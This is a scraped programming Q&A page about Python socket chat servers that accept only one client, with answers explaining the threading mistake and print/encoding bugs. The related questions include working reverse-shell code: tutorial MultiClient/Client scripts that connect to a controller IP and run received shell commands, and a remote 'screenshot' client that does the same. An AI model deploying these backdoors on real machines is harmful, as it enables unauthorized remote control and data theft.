Any help on how I can get this to accept more than one client, and why it isn't at the moment? Thanks!
Also, is there anything I'm doing wrong with this code? I've been following mostly Python 2 tutorials because I can't find any for Python 3.4
Here is my Server code:
import socket
import time
import os
from threading import Thread
folderPath = "Chat Logs"
filePath = folderPath + "/" + str(time.strftime("%H-%M-%S_%d-%m-%Y")) + ".txt"
def clientHandler(c):
while True:
data = c.recv(1024)
if not data:
break
data = data.decode("UTF-8")
message = str(data[:data.index("§")])
nick = str(data[data.index("§")+1:])
print(nick + ": " + message)
saveChat(nick, message)
print(" Sending: " + data)
c.send(bytes(data, "UTF-8"))
c.close()
def saveChat(nick, message):
if not os.path.exists(folderPath):
os.makedirs(folderPath)
if not os.path.exists(filePath):
f = open(filePath, "a")
f.close()
f = open(filePath, "a")
f.write(nick + ": " + message + "\n")
f.close()
def Main():
host = str(socket.gethostbyname(socket.gethostname()))
port = 5000
print(host + ":" + str(port) + "\n")
Clients = int(input("Clients: "))
s = socket.socket()
s.bind((host, port))
s.listen(Clients)
for i in range(Clients):
c, addr = s.accept()
print("Connection from: " + str(addr))
Thread(target=clientHandler(c)).start()
s.close()
if __name__ == "__main__":
Main()
And here is my Client code:
import socket
def Main():
print("Send 'q' to exit\n")
address = str(input("ip:port -> "))
nick = input("nick: ")
try:
if address.index(":") != 0:
host = address[:address.index(":")]
port = int(address[address.index(":")+1:])
except ValueError:
host = address
port = 5000
s = socket.socket()
s.connect((host, port))
message = input("-> ")
while message != "q":
s.send(bytes(message + "ยง" + nick, "UTF-8"))
data = s.recv(1024)
data = data.decode("UTF-8")
data2 = data
messageServer = str(data[:data.index("ยง")])
nickServer = str(data[data.index("ยง")+1:])
if not data == data2:
print(nickServer + ": " + messageServer)
message = input("-> ")
s.close()
if __name__ == "__main__":
Main()
First of all, I found these tutorials very helpful: BinaryTides
Here is an example of a simple tcp server that accepts multiple clients. All this one does receive data from the client and return "OK .. " + the_data. However, you could easily modify it to have a function that broadcasts the data(chat msg) to all clients connected. This example uses threading. You should google for the select module. With regards to your threads, are you sure you are a) using the right module/method for the job and b) that you are calling it in the right way?
import socket
import sys
from thread import start_new_thread
HOST = '' # all availabe interfaces
PORT = 9999 # arbitrary non privileged port
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
print("Could not create socket. Error Code: ", str(msg[0]), "Error: ", msg[1])
sys.exit(0)
print("[-] Socket Created")
# bind socket
try:
s.bind((HOST, PORT))
print("[-] Socket Bound to port " + str(PORT))
except socket.error, msg:
print("Bind Failed. Error Code: {} Error: {}".format(str(msg[0]), msg[1]))
sys.exit()
s.listen(10)
print("Listening...")
# The code below is what you're looking for ############
def client_thread(conn):
conn.send("Welcome to the Server. Type messages and press enter to send.\n")
while True:
data = conn.recv(1024)
if not data:
break
reply = "OK . . " + data
conn.sendall(reply)
conn.close()
while True:
# blocking call, waits to accept a connection
conn, addr = s.accept()
print("[-] Connected to " + addr[0] + ":" + str(addr[1]))
start_new_thread(client_thread, (conn,))
s.close()
Related
I am sending a string from a python client to a python socket server
here is the server side code where i am printing the received value :
def threaded_client(connection):
while True:
data = connection.recv(2048)
print(data)
datatemp = data.decode('utf-8')
print(datatemp)
message = datatemp.split('_')
print(message[0])
while True:
Client, address = ServerSocket.accept()
print('Connected to: ' + address[0] + ':' + str(address[1]))
start_new_thread(threaded_client, (Client, ))
ServerSocket.close()
and on the server side i am printing print(data) , print(datatemp) and lit('_') but non of these print statements is printing anything
What am i doing wrong ?
UPDATE 1:
I am using these Imports:
import socket
import os
from _thread import *
Here is the full server code :
import socket
import os
from _thread import *
ServerSocket = socket.socket()
host = '127.0.0.1'
port = 34534
ThreadCount = 0
try:
ServerSocket.bind((host, port))
except socket.error as e:
print(str(e))
print('Waitiing for a Connection..')
ServerSocket.listen(5)
def threaded_client(connection):
while True:
data = connection.recv(2048)
print(data)
datatemp = data.decode('utf-8')
print(datatemp)
message = datatemp.split('_')
print(message[0])
while True:
Client, address = ServerSocket.accept()
print('Connected to: ' + address[0] + ':' + str(address[1]))
start_new_thread(threaded_client, (Client, ))
ServerSocket.close()
I'm trying to take a screenshot on a remote Windows machine. For example, when you input the command "screenshot" on the server, it takes a screenshot on the client machine, saves it to a directory, and sends it back to the server. I already figured out the first part, but can't figure out how to send the saved file back.
Server:
import socket
import sys
import subprocess
host = '192.168.1.25'
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
sendCommands(conn)
def sendCommands(conn):
cmd = input('console > ')
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
clientResponse = str(conn.recv(1024), "utf-8")
print('\n' + clientResponse, end="")
Client:
import os
import sys
import subprocess
import socket
import autopy
def socketCreate():
global host
global port
global s
host = '192.168.1.25'
port = 4444
s = socket.socket()
def socketConnect():
global host
global port
global s
s.connect((host, port))
def recieveCommands():
global s
while True:
data = s.recv(1024)
if data[:].decode("utf-8") == 'screenshot':
path = r'C:\Windows\Temp\LocalCustom\ssh\new\custom'
screenshot = r'\screenshot.png'
if not os.path.exists(path):
os.makedirs(path)
try:
bitmap = autopy.bitmap.capture_screen()
bitmap.save(path + screenshot)
tookScreenShot = ('\n' + '[*] Succesfuly took screenshot at ' + path + '\n')
s.send(str.encode(tookScreenShot))
except:
screenshotFailed = ('\n' + "[!] Couldn't take screenshot " + '\n')
str(screenshotFailed)
s.send(str.encode(screenshotFailed))
else:
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(str.encode("utf-8"))
s.close()
def main():
socketCreate()
socketConnect()
recieveCommands()
main()
You should send the as following from the client
f = open('tosend.jpg','rb')
print 'Sending the file'
file = f.read(1024)
while (file):
print 'Sending...'
s.send(file)
file = f.read(1024)
f.close()
print "Done Sending"
s.shutdown(socket.SHUT_WR)
print s.recv(1024)
s.close()
on server
while True:
file = open('C:/received.jpg','w')
l = s.recv(1024)
while l:
print "Receiving..."
file.write(l)
l = s.recv(1024)
file.close()
print "Done Receiving"
s.close()
I'm completely newbie to python and computer networking. While working on Uni project I have faced a problem. What am I doing wrong? Any help will me much appreciated.
Here is server side:
import socket
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host, port))
print ("Server Started.")
while True:
data, addr = s.recvfrom(1024)
print ("message from: ") + str(addr)
print ("from connected user: ") + str(data.decode('utf-8'))
data = str(data).upper()
print ("sending: ") + str(data)
s.sendto(data, addr)
s.close()
if __name__ == '__main__':
Main()
Here is my client side:
import socket
def Main():
host = "127.0.0.1"
port = 5000
server = ('127.0.0.1', 5000)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host, port))
message = input('->')
while message != 'q':
s.sendto(message.encode('utf-8'), server)
data, addr = s.recvfrom(1024)
print ('Received from server: ') + str(data)
message = input('->')
s.close()
if __name__ == '__main__' :
Main()
There were a couple of issues; mostly with the printing.
You had a few instances of print('some text') + str(data); this won't work, because while print() outputs to the screen (STDOUT) it returns None, so what you were actually doing was trying to concatenate None + str(data)
What you need is print('some text' + str(data)).
Additionally, there was as issue on the server-side where you echo the data received from the client back to the client- it needed to be re-encoded as a bytearray (it comes in as a bytearray, gets converted to a utf-8 string for display, it needs to go back to bytearray before replying).
In summary, server:
import socket
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host, port))
print("Server Started.")
while True:
try:
data, addr = s.recvfrom(1024)
print("message from: " + str(addr)) # moved string concatenation inside print method
print("from connected user: " + str(data.decode('utf-8'))) # moved string concatenation inside print method
data = str(data).upper()
print("sending: " + str(data)) # moved string concatenation inside print method
s.sendto(data.encode('utf-8'), addr) # needed to re-encode data into bytearray before sending
except KeyboardInterrupt: # added for clean CTRL + C exiting
print('Quitting')
break
s.close()
if __name__ == '__main__':
Main()
And the client:
import socket
def Main():
host = "127.0.0.1"
port = 5001
server = ('127.0.0.1', 5000)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host, port))
message = input('->')
while message != 'q':
try:
s.sendto(message.encode('utf-8'), server)
data, addr = s.recvfrom(1024)
print('Received from server: ' + str(data)) # moved string concatenation inside print method
message = input('->')
except KeyboardInterrupt: # added for clean CTRL + C exiting
print('Quitting')
break
s.close()
if __name__ == '__main__':
Main()
I am following thenewboston tutorial, I think I did pretty much the same like he did, line by line, but my reverse shell is not working, I am trying to run it locally. I am running MultiServer.py and then MultiClient.py but I get an error. I'll explain it in a second but first, here is my code:
MultiServer.py:
import socket
import time
from queue import Queue
import threading
# One thread to listen and create sockets, second thread to connect and send commands
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_addresses = []
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9992
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
time.sleep(5)
socket_bind()
# Accept connections from multiple clients and save to list - Thread 1
def accept_connections():
for c in all_connections:
c.close()
del all_connections[:] # delete items from list
del all_addresses[:]
while 1:
try:
conn, address = s.accept()
conn.setblocking(1) # no timeout
all_connections.append(conn)
all_addresses.append(address)
print("\nConnection has been established: " + address[0] + ":" + address[1])
except:
print("Error accepting connections")
# Interactive prompt for sending commands remotely
def start_connection():
while 1:
cmd = input('> ')
if cmd == 'list':
list_connections()
elif 'select' in cmd:
conn = get_target(cmd)
if conn is not None:
send_target_commands(conn)
else:
print('Command not recognized')
# Displays all current connections
def list_connections():
results = ''
for i, conn in enumerate(all_connections): # enumerate - counter
try:
conn.send(str.encode(' ')) # check if the connection is valid by sending empty message
conn.recv(20480)
except:
del all_connections[i]
del all_addresses[i]
continue
results += 'Connection ' + str(i) + ' ' + str(all_addresses[i][0]) + ':' + str(all_addresses[i][1]) + '\n'
print('----- Clients -----' + '\n' + results)
# Selecting a target client
def get_target(cmd):
try:
target = cmd.replace('select ', '')
target = int(target)
conn = all_connections[target]
print('You are now connected to:', str(all_addresses[target][0]))
print(str(all_addresses[target][0]) + '> ', end='')
return conn
except:
print('Not a valid selection')
return None
# Connect with remote target client
def send_target_commands(conn):
while True:
try:
cmd = input()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
if cmd == 'quit':
break
except:
print('Connection lost')
break
# Create the threads
def create_threads():
for _ in range(NUMBER_OF_THREADS):
t = threading.Thread(target=work)
t.daemon = True # the thread will die when main program exit
t.start()
# Each list item is a new job
def create_jobs():
for x in JOB_NUMBER:
queue.put(x)
queue.join() # the queue is like a to-do list, we added 1 and 2 to the queue
# Do the next job in the queue (one handles connections, the other sends commands)
def work():
while True:
x = queue.get() # will be equal to 1 and then will be 2
if x == 1:
socket_create()
socket_bind()
accept_connections()
if x == 2:
start_connection()
queue.task_done()
create_threads()
create_jobs()
MultiClient.py
import os
import socket
import subprocess
import time
# Create a socket
def socket_create():
try:
global host
global port
global s
host = '192.168.1.33'
port = 9992
s = socket.socket()
except socket.error as msg:
print('Socket creation error:', str(msg))
# Connect to a remote socket
def socket_connect():
try:
global host
global port
global s
s.connect((host, port))
except socket.error as msg:
print('Socket connection error:', str(msg))
time.sleep(5)
socket_connect()
# Receive commands from remote server and run on local machine
def receive_commands():
while True:
data = s.recv(20480)
if data[:2].decode('utf-8') == 'cd':
try:
os.chdir(data[3:].decode('utf-8'))
except:
pass
if data[:].deocde('utf-8') == 'quit':
s.close()
break
if len(data) > 0:
try:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
except:
output_str = 'Command not recognized' + '\n'
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()
def main():
global s
try:
socket_create()
socket_connect()
receive_commands()
except:
print('Error in main')
time.sleep(5)
s.close()
main()
main()
So, in the tutorial we first created a simple reverse shell that can contain only one client, and it was working for me fine. if needed, here is the code:
Client.py:
import os
import socket
import subprocess
s = socket.socket()
host = '127.0.0.1'
port = 9997
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
# close connection
s.close()
Server.py:
import socket
import sys
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9997
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
socket_bind()
# Establish a connection with client (socket must be listening for them)
def socket_accept():
conn, address = s.accept()
print('Connection has been established | ' + 'IP ' + address[0] + ' | Port ' + str(address[1]))
send_commands(conn)
conn.close()
# Send commands
def send_commands(conn):
while True:
cmd = input('')
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0: # system commands are bytes and not strings
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), 'utf-8')
print(client_response, end='')
def main():
socket_create()
socket_bind()
socket_accept()
main()
As I understood it can be a problem with the firewall so the code may be fine, but a check from an other computer will be great for me. Also, I haven't specified the error I receive, when running MultiServer.py and the MultiClient.py I get the message:
C:\Python34\python.exe C:/Users/dodob/PycharmProjects/ReverseShell/MultiClient/MultiServer.py
> Binding socket to port: 9992
Error accepting connections
I am currently trying this on windows, I also have Linux and I haven't tried to run this there. I tried to disable 'windows firewall with advanced security' but no help.
I am currently doing a project for university, I have to create a multiple chat client and server in python 3.4.
For some reason it will connect to one client but when a second client tries to connect it does nothing. However when the first client disconnects the other client will connect to it. Does anyone have any ideas, I have been trying to work this out for over 3 hours.
The Client Server
import socket
def Main():
print("Send 'q' to exit\n")
address = str(input("ip:port -> "))
nick = input("nick: ")
try:
if address.index(":") != 0:
host = address[:address.index(":")]
port = int(address[address.index(":")+1:])
except ValueError:
host = address
port = 5000
s = socket.socket()
s.connect((host, port))
message = input("-> ")
while message != "q":
send_message = message + "pPp" + nick
send_message2 = send_message.encode("UTF-8")
s.send(bytes(send_message2))
data = s.recv(1024)
data_decoded = data.decode("UTF-8")
data2 = data_decoded
print(data_decoded)
messageServer = str(data_decoded[:data_decoded.index("pPp")])
nickServer = str(data_decoded[data_decoded.index("pPp")+3:])
if not data_decoded == data2:
print(nickServer + ": " + messageServer)
message = input("-> ")
s.close()
if __name__ == "__main__":
Main()
The server side:
import socket
import time
import os
from threading import Thread
folderPath = "Chat Logs"
filePath = folderPath + "/" + str(time.strftime("%H-%M-%S_%d-%m-%Y")) + ".txt"
def clientHandler(c):
while True:
data = c.recv(1024)
if not data:
break
data_decoded = data.decode("UTF-8")
message = str(data_decoded[:data_decoded.index("pPp")])
nick = str(data_decoded[data_decoded.index("pPp")+3:])
print(nick + "$" + message)
saveChat(nick, message)
print(" Sending: " + data_decoded)
c.send(bytes(data_decoded.encode("UTF-8")))
c.close()
def saveChat(nick, message):
if not os.path.exists(folderPath):
os.makedirs(folderPath)
if not os.path.exists(filePath):
f = open(filePath, "a")
f.close()
f = open(filePath, "a")
f.write(nick + ": " + message + "\n")
f.close()
def Main():
host = str(socket.gethostbyname(socket.gethostname()))
port = 5000
print(host + ":" + str(port) + "\n")
Clients = int(input("Clients: "))
s = socket.socket()
s.bind((host, port))
s.listen(Clients)
while True:
c, addr = s.accept()
print("Connection from: " + str(addr))
Thread(target=clientHandler(c)).start()
s.close()
if __name__ == "__main__":
Main()
You are initializing the Thread object correctly. Try one of these:
Thread(target=clientHandler, args=(c,)).start()
or
Thread(target=lambda c=c: clientHandler(c)).start()
Thread takes a callable as the target argument. Instead of passing in a callable, your code invokes the clientHandler, and passes its return value to Thread.__init__.
the changed code for server.py works for me.
what if we accept the connections in the thread handler and pass the socket object as an argument when we call the handler.
def clientHandler(s):
while True:
c, addr = s.accept()
print("Connection from: " + str(addr))
data = c.recv(1024)
if not data:
break
data_decoded = data.decode("UTF-8")
message = str(data_decoded[:data_decoded.index("pPp")])
nick = str(data_decoded[data_decoded.index("pPp")+3:])
print(nick + "$" + message)
#saveChat(nick, message)
print(" Sending: " + data_decoded)
c.send(bytes(data_decoded.encode("UTF-8")))
c.close()
In main function, I changed the following lines.
while True:
#c, addr = s.accept()
#print("Connection from: " + str(addr))
Thread(target=clientHandler(s)).start()
Here is the connection result:
>>>
10.212.245.81:5000
Clients: 3
Connection from: ('10.212.245.81', 60945)
c1$hi
Sending: hipPpc1
Connection from: ('10.212.245.81', 60976)
c2$hi
Sending: hipPpc2
Connection from: ('10.212.245.81', 61096)
c3$hi
Sending: hipPpc3
P.S I didn't try to check the code by exceeding the number of client connect requests.